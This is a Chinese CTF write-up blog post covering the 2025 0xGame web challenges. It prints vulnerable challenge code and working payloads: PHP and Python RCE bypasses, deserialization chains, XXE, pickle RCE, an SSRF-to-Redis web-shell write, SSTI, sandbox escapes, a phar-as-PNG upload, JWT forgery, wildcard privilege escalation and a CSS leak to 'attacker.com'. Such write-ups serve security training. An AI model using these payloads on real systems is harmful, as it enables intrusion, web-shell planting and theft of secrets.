跳到主要内容
2025-0xGame Web 安全挑战全解 | 极客日志
编程语言 Node.js AI java 算法
2025-0xGame Web 安全挑战全解 综述由AI生成 2025-0xGame Web 安全挑战赛的全流程解题思路,涵盖 Week 1 至 Week 4 的多个挑战。主要涉及 PHP、Python、JavaScript、Java 等语言的安全漏洞利用。核心考点包括 RCE 构造与绕过、XXE 注入、SSRF 及 DNS 重绑定、多种反序列化漏洞(PHP、Python Pickle、Phar、Java Shiro)、SSTI 模板注入、沙箱逃逸技术、文件上传绕过、JWT 伪造与原型链污染、以及 AI 模型污染攻击。文章提供了详细的 Payload 构造方法和代码审计技巧,旨在帮助读者理解各类 Web 安全问题的原理与防御方案。
DotNetGuy 发布于 2026/4/6 更新于 2026/5/21 33 浏览week1
RCE1
考点:或运算构造 system
<?php error_reporting (0 ); highlight_file (__FILE__ ); $rce1 = $_GET ['rce1' ]; $rce2 = $_POST ['rce2' ]; $real_code = $_POST ['rce3' ]; $pattern = '/(?:\d|[\$%&#@*]|system|cat|flag|ls|echo|nl|rev|more|grep|cd|cp|vi|passthru|shell|vim|sort|strings)/i' ; function check (string $text ): bool { global $pattern ; return (bool ) preg_match ($pattern , $text ); } if (isset ($rce1 ) && isset ($rce2 )){ if (md5 ($rce1 ) === md5 ($rce2 ) && $rce1 !== $rce2 ){ if (!check ($real_code )){ eval ($real_code ); } else { echo ; } } { ; } } { ; }
"Don't hack me ~"
else
echo
"md5 do not match correctly"
else
echo
"Please provide both rce1 and rce2"
?>
查根目录文件:print_r(scandir('/'));
利用或运算绕过过滤:(systee|systel)('tac /f???'); 或直接使用反引号 print(tac /f???);。
Lemon
Http 的真理,我已解明
Rubbish_Unser
考点:hash 触发 Exception 中 __toString 魔术绕过 hash <?php error_reporting (0 ); highlight_file (__FILE__ ); class ZZZ { public $yuzuha ; function __construct ($yuzuha ) { $this -> yuzuha = $yuzuha ; } function __destruct ( ) { echo "破绽,在这里!" . $this -> yuzuha; } } class HSR { public $robin ; function __get ($robin ) { $castorice = $this -> robin; eval ($castorice ); } } class HI3rd { public $RaidenMei ; public $kiana ; public $guanxing ; function __invoke ( ) { if ($this -> kiana !== $this -> RaidenMei && md5 ($this -> kiana) === md5 ($this -> RaidenMei) && sha1 ($this -> kiana) === sha1 ($this -> RaidenMei)) return $this -> guanxing -> Elysia; } } class GI { public $furina ; function __call ($arg1 , $arg2 ) { $Charlotte = $this -> furina; return $Charlotte (); } } class Mi { public $game ; function __toString ( ) { $game1 = @$this -> game -> tks (); return $game1 ; } } if (isset ($_GET ['0xGame' ])) { $web = unserialize ($_GET ['0xGame' ]); throw new Exception ("Rubbish_Unser" ); } ?>
利用垃圾回收去掉最后一个}绕过,hash 用 Exception 绕过。
<?php error_reporting(0 ); class ZZZ { public $yuzuha; function __construct($yuzuha) { $this -> yuzuha = $yuzuha; } function __destruct() { echo "破绽,在这里!" . $this -> yuzuha; } } class HSR { public $robin="system('env');" ; function __get($robin) { echo "4" ; $castorice = $this -> robin; eval ($castorice); } } class HI3rd { public $RaidenMei; public $kiana; public $guanxing; function __invoke() { echo "3" ; if ($this -> kiana !== $this -> RaidenMei && md5($this -> kiana) === md5($this -> RaidenMei) && sha1($this -> kiana) === sha1($this -> RaidenMei)) return $this -> guanxing -> Elysia; } } class GI { public $furina; function __call($arg1, $arg2) { echo "2" ; $Charlotte = $this -> furina; return $Charlotte(); } } class Mi { public $game; function __toString() { echo "1" ; $game1 = @$this -> game -> tks(); return $game1; } } $a=new ZZZ(1 ); $a-> yuzuha=new Mi(); $a-> yuzuha->game=new GI(); $a-> yuzuha->game->furina=new HI3rd(); $a-> yuzuha->game->furina->kiana=new Exception("" ,1 );$a-> yuzuha->game->furina->RaidenMei=new Exception("" ,2 ); $a-> yuzuha->game->furina->guanxing=new HSR(); echo urlencode(serialize($a)); ?>
Lemon_RevEnge
考点:污染 os.path.pardir 进行目录穿越 from flask import Flask,request,render_template import json import os app = Flask(__name__) def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) class Dst (): def __init__ (self ): pass Game0x = Dst() @app.route('/' ,methods=['POST' , 'GET' ]) def index (): if request.data: merge(json.loads(request.data), Game0x) return render_template("index.html" , Game0x=Game0x) @app.route("/<path:path>" ) def render_page (path ): if not os.path.exists("templates/" + path): return "Not Found" , 404 return render_template(path) if __name__ == '__main__' : app.run(host='0.0.0.0' , port=9000 )
{ "__init__" : { "__globals__" : { "os" : { "path" : { "pardir" : "!" } } } } }
留言板(粉) admin/admin123 登入,发现网页名字提示是打 xxe。
<!DOCTYPE evil [ <!ENTITY xxe SYSTEM "file:///flag" > ]> <user > <username > &xxe; </username > <password > &xxe; </password > </user >
留言板_reVenge
week2
你好,爪洼脚本
马哈鱼商店
考点:pickle 反序列化(文本协议) 买 pickle,将折扣改成 0.0001 就行。
Use GET To Send Your Loved Data!!! BlackList = [b'' , b'' ] @app.route('/pickle_dsa' ) def pic (): data = request.args.get('data' ) if not data: return "Use GET To Send Your Loved Data" try : data = base64.b64decode(data) except Exception: return "Cao!!!" for b in BlackList: if b in data: return "卡了" p = pickle.loads(data) print (p) return f" Vamos! {p}
打 pickle 反序列化,注意要用 protocol=0(文本协议),避免包含 0x1E 字节。
import pickle import base64 import os class P (object ): def __reduce__ (self ): return (eval , ("__import__('os').popen('env').read()" ,)) payload = pickle.dumps(P(), protocol=0 ) b64_payload = base64.b64encode(payload) print (payload) print (b64_payload.decode())
DNS 想要玩
考点:进制绕过黑名单进行 dns 解析(dns 重绑定) from flask import Flask, request from urllib.parse import urlparse import socket import os app = Flask(__name__) BlackList = [ 'localhost' , '@' , '172' , 'gopher' , 'file' , 'dict' , 'tcp' , '0.0.0.0' , '114.5.1.4' ] def check (url: str ) -> bool : parsed = urlparse(url) host = parsed.hostname if not host: return False host_ascii = host.encode('idna' ).decode('utf-8' ) try : ip = socket.gethostbyname(host_ascii) except Exception: return False return ip == '114.5.1.4' @app.route('/' ) def index (): return open (__file__, 'r' , encoding='utf-8' ).read() @app.route('/ssrf' ) def ssrf (): raw_url = request.args.get('url' ) if not raw_url: return 'URL Needed' for u in BlackList: if u in raw_url: return 'Invaild URL' if check(raw_url): cmd = request.args.get('cmd' , '' ) return os.popen(cmd).read() else : return 'NONONO' if __name__ == '__main__' : app.run(host='0.0.0.0' , port=8000 )
Payload: ssrf?url=http://1912930564/&cmd=cat%20/f*
这真的是反序列化
考点:利用 SoapClient 触发 __call 用 ssrf 来打 Redis <?php highlight_file (__FILE__ ); error_reporting (0 );
<?php class pure { public $web ; public $misc ; public $crypto ; public $pwn ; } $a = new pure (); $a ->web = 'SoapClient' ; $a ->misc = null ; $a ->pwn = null ; $target = 'http://127.0.0.1:6379/' ; $poc = "AUTH 20251206\r\n" . "CONFIG SET dir /var/www/html/\r\n" . "CONFIG SET dbfilename shell.php\r\n" . "SET x '<?= @eval(\$_POST[1]) ?>'\r\n" . "SAVE" ; $a ->crypto = array ( 'location' => $target , 'uri' => "hello\"\r\n" . $poc . "\r\nhello" ); echo serialize ($a );
404NotFound {{lipsum['__glo''bals__']['o''s']['po''pen']('cat /f*')['re''ad']()}}
Plus_plus
考点:限制字符的自增 rce <?php error_reporting (0 ); if (isset ($_GET ['0xGame' ])) { highlight_file (__FILE__ ); } if (isset ($_POST ['web' ])) { $web = $_POST ['web' ]; if (strlen ($web ) <= 120 ) { if (is_string ($web )) { if (!preg_match ("/[!@#%^&*:'\-<?>" \/|`a-zA-BD-GI-Z~\\]/", $web )) { eval($web ); } else { echo(" NONONO!"); } } else { echo " No String!"; } } else { echo " too long!"; } } ?>
我只想要你的 PNG!
考点:文件名注入 只能上传 png,但是源码提示有个 check.php,上传文件发现文件上传后被删除,但是原文件名出现在 check.php 里,那就是打文件名注入。
week3
消栈逃出沙箱 (1)反正不会有 2
解法:Typhon 梭哈沙箱逃逸 from flask import Flask, request, Response import sys import io app = Flask(__name__) blackchar = "&*^%#${}@!~`·/<>" def safe_sandbox_Exec (code ): whitelist = { "print" : print , "list" : list , "len" : len , "Exception" : Exception, } safe_globals = {"__builtins__" : whitelist} original_stdout = sys.stdout original_stderr = sys.stderr sys.stdout = io.StringIO() sys.stderr = io.StringIO() try : exec (code, safe_globals) output = sys.stdout.getvalue() error = sys.stderr.getvalue() return output or error or "No output" except Exception as e: return f"Error: {e} " finally : sys.stdout = original_stdout sys.stderr = original_stderr @app.route("/" ) def index (): return open (__file__).read() @app.route("/check" , methods=["POST" ]) def check (): data = request.form.get("data" , "" ) if not data: return Response("NO data" , status=400 ) for d in blackchar: if d in data: return Response("NONONO" , status=400 ) secret = safe_sandbox_Exec(data) return Response(secret, status=200 ) if __name__ == "__main__" : app.run(host="0.0.0.0" , port=9000 )
print (list .__class__.__subclasses__(list .__class__)[0 ].register.__globals__['__builtins__' ]['__import__' ]('os' ).popen('env' ).read())
解法二:python 栈帧沙箱逃逸+traceback 使用 Exception 引发异常,并捕获异常对象,从回溯对象中访问 tb_frame 获取当前栈帧,再获取外层函数栈帧,利用栈帧的 f_globals 获取原始环境中的 builtins ,然后执行命令。
try : raise Exception() except Exception as e: frame = e.__traceback__.tb_frame.f_back.f_back builtins = frame.f_globals['__builtins__' ] output = builtins.__import__ ('os' ).popen('env' ).read() print (output)
文件查询器(蓝)
考点:file_get_contents 触发 phar 反序列化 发现文件上传和查询文件功能,查/etc/passwd 有回显,有文件包含,直接读源码 index.php。
<?php error_reporting (0 ); class MaHaYu { public $HG2 ; public $ToT ; public $FM2tM ; public function __construct ( ) { $this -> ZombiegalKawaii (); } public function ZombiegalKawaii ( ) { $HG2 = $this -> HG2; if (preg_match ("/system|print|readfile|get|assert|passthru|nl|flag|ls|scandir|check|cat|tac|echo|eval|rev|report|dir/i" ,$HG2 )) { die ("这这这你也该绕过去了吧" ); } else { $this -> ToT = "这其实是来自各位的" ; } } public function __destruct ( ) { $HG2 = $this -> HG2; $FM2tM = $this -> FM2tM; echo "Wow" ; var_dump ($HG2 ($FM2tM )); } } z $file =$_POST ['file' ]; if (isset ($_POST ['file' ])) { if (preg_match ("/'[\$%&#@*]|flag|file|base64|go|git|login|dict|base|echo|content|read|convert|filter|date|plain|text|;|<|>/i" , $file )) { die ("对方撤回了一个请求,并企图蒙混过关" ); } echo base64_encode (file_get_contents ($file )); }
一眼就知道是 file_get_contents 触发 phar 反序列化,gz 压一下,改一下文件名分别绕过内容 waf 和文件名 waf。
<?php error_reporting (0 ); class MaHaYu { public $HG2 ; public $ToT ; public $FM2tM ; public function __construct ( ) { $this -> ZombiegalKawaii (); } public function ZombiegalKawaii ( ) { $HG2 = $this -> HG2; if (preg_match ("/system|print|readfile|get|assert|passthru|nl|flag|ls|scandir|check|cat|tac|echo|eval|rev|report|dir/i" ,$HG2 )) { die ("这这这你也该绕过去了吧" ); } else { $this -> ToT = "这其实是来自各位的" ; } } public function __destruct ( ) { $HG2 = $this -> HG2; $FM2tM = $this -> FM2tM; echo "Wow" ; var_dump ($HG2 ($FM2tM )); } } $a = new MaHaYu (); $a -> HG2 = "getenv" ; $a ->FM2tM="FLAG" ; $phar = new Phar ("2.phar" ); $phar ->startBuffering (); $phar ->setStub ('<?php __HALT_COMPILER(); ?>' ); $phar ->setMetadata ($a ); $phar ->addFromString ("exp.txt" , "test" ); $phar ->stopBuffering (); $fp = gzopen ("2.phar.gz" , 'w9' ); gzwrite ($fp , file_get_contents ("2.phar" )); gzclose ($fp ); @rename ("2.phar.gz" , "1.phar.png" ); ?>
长夜月 先 token 伪造,注册时生成密钥,登入时解 token 没有鉴权,所以直接伪造 admin 就行。
import jwt import datetime import time headers = {"alg" :"HS256" ,"typ" :"JWT" } token_dict = { "username" :"admin" , "password" :"user" , "iat" :time.time(), "exp" :time.time() + 36000 } jwt_token = jwt.encode(token_dict, secret, algorithm='HS256' , headers=headers)
然后将 min_public_time 污染成 8 月 3 号前就行。
{ "__proto__" : { "min_public_time" : "2025-08-01" } }
放开我的变量
考点:cp 通配符提权 一扫发现一个后门/asdback.php,直接蚁剑连。
<?php highlight_file (__FILE__ ); echo ("Please Input Your CMD" ); $cmd = $_POST ['__0xGame2025phpPsAux' ]; eval ($cmd ); ?>
但是拿不了 flag,提权也不行,一看 start.sh,湾区杯和 N1 写过,打 cp 通配符提权。
cd /var/www/html/primary/ echo "" >"-H" ln -s /flag ff cd ../marstream cat f
这真的是文件上传
考点:js 审计之 ejs 渲染 <%- global.process.mainModule.require('child_process').execSync('env') %>
New_Python!
考点:uuid8 加密 随便注册一个账户登入,得到 RSA 参数和 UUID8 相关逻辑。
import math import random import re n = 70344167219256641077015681726175134324347409741986009928113598100362695146547483021742911911881332309275659863078832761045042823636229782816039860868563175749260312507232007275946916555010462274785038287453018987580884428552114829140882189696169602312709864197412361513311118276271612877327121417747032321669 e = 65537 c = 46438476995877817061860549084792516229286132953841383864271033400374396017718505278667756258503428019889368513314109836605031422649754190773470318412332047150470875693763518916764328434140082530139401124926799409477932108170076168944637643580876877676651255205279556301210161528733538087258784874540235939719 dp = 7212869844215564350030576693954276239751974697740662343345514791420899401108360910803206021737482916742149428589628162245619106768944096550185450070752523
响应头看到 b=120604030108。目录扫描得到 auth,得到 c=7430469441。直接 uuid8 加密即可。
import uuid def uuid8_from_chunks (a: int , b: int , c: int ) -> uuid.UUID: a48 = a & ((1 << 48 ) - 1 ) b12 = b & ((1 << 12 ) - 1 ) c62 = c & ((1 << 62 ) - 1 ) int_uuid = (a48 << 80 ) | (b12 << 64 ) | c62 int_uuid |= (0x8 << 76 ) int_uuid |= (0x2 << 62 ) return uuid.UUID(int =int_uuid) def main () -> None : a = 109343314834543 b = 120604030108 c = 7430469441 u = uuid8_from_chunks(a, b, c) print (u)
admin/63727970-746f-849c-8000-0001bae3f741 登入,执行 env 即可。
week4
SpringShiro 拿到附件,知道用户密码是 admin/123456,登进去什么也没有,登入抓包结合题目应该是 shiro 反序列化。
目录扫描没发现啥东西,但是密钥一般都在/actuator/heapdump,访问得到,然后用工具解密。
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
得到 qebXusiEQHNsQq+TDqfsFQ==。
java -jar shiro_attack-4.7.0-SNAPSHOT-all.jar
绳网委托 Bottle 版
考点:abort 无回显 flask 框架,尝试发现过滤了{}<>,那肯定打 bottle 的 python 代码执行,就打 abort 吧。
''' % from bottle import abort % a=__import__('os').popen("ls /").read() % abort(404,a) % end '''
<div> % if __import__ ('bottle' ).abort(404 ,__import__ ('os' ).popen("cat /flag" ).read()): <span>content</span> % end </div>
from bottle import Bottle, request, template, run, static_file from datetime import datetime app = Bottle() messages = [] def Comment (message ):
...
board = f"""//前端代码 """ return board def check (message ): filtered = message.replace("{" , " " ).replace("}" , " " ).replace("eval" , "?" ).replace("system" , "~" ).replace("exec" ,"?" ).replace("7*7" ,"我猜你想输入 7*7" ).replace("<" ,"尖括号" ).replace(">" ,"尖括号" ) return filtered @app.route('/' ) def index (): return template(Comment(messages)) @app.route('/comment' , method='POST' ) def submit (): text = check(request.forms.get('message' )) now = datetime.now().strftime("%Y-%m-%d %H:%M" ) messages.append({"text" : text, "time" : now}) return template(Comment(messages)) @app.route('/static/<filename:path>' ) def send_static (filename ): return static_file(filename, root='./static' ) if __name__ == '__main__' : run(app, host='0.0.0.0' , port=9000 )
跨站脚本攻击叫 CSS 还是 XSS
考点:用 CSS 注入实现 XS Leak 这题就是下面 app.js 与 bot.js 有用。
当 admin 登进就会有 flag,但是打不了 session 伪造,看看 bot.js,作用就是让 admin 身份的 bot 访问 url,而这个 url 就是 app.js 中 report 路由中的参数。这里利用 CSS 注入实现 XS Leak,一个常见的方法是利⽤ CSS 选择器匹配指定标签的某个属性的内容。
meta[name="secret" ] [content^="a" ] { background : url ("http://attacker.com?q=a" ); }
<meta readonly name ="secret" content ="<%- locals.secret %>" >
当 admin 用户访问时,flag 会被放在 meta 标签中,也就是说,我们构造恶意 css 语句,让 bot 去访问/view/:id 路由,然后 bot 的 view 页面包含 flag,然后我们利用 css 注入接收泄露的 flag。
旧吊带袜天使:想吃真蛋糕的 Stocking
考点:模型污染攻击 import torch from model_server import SimpleDessertClassifier
相关免费在线工具 加密/解密文本 使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online
RSA密钥对生成器 生成新的随机RSA私钥和公钥pem证书。 在线工具,RSA密钥对生成器在线工具,online
Keycode 信息 查找任何按下的键的javascript键代码、代码、位置和修饰符。 在线工具,Keycode 信息在线工具,online
Escape 与 Native 编解码 JavaScript 字符串转义/反转义;Java 风格 \uXXXX(Native2Ascii)编码与解码。 在线工具,Escape 与 Native 编解码在线工具,online
Mermaid 预览与可视化编辑 基于 Mermaid.js 实时预览流程图、时序图等图表,支持源码编辑与即时渲染。 在线工具,Mermaid 预览与可视化编辑在线工具,online
JavaScript / HTML 格式化 使用 Prettier 在浏览器内格式化 JavaScript 或 HTML 片段。 在线工具,JavaScript / HTML 格式化在线工具,online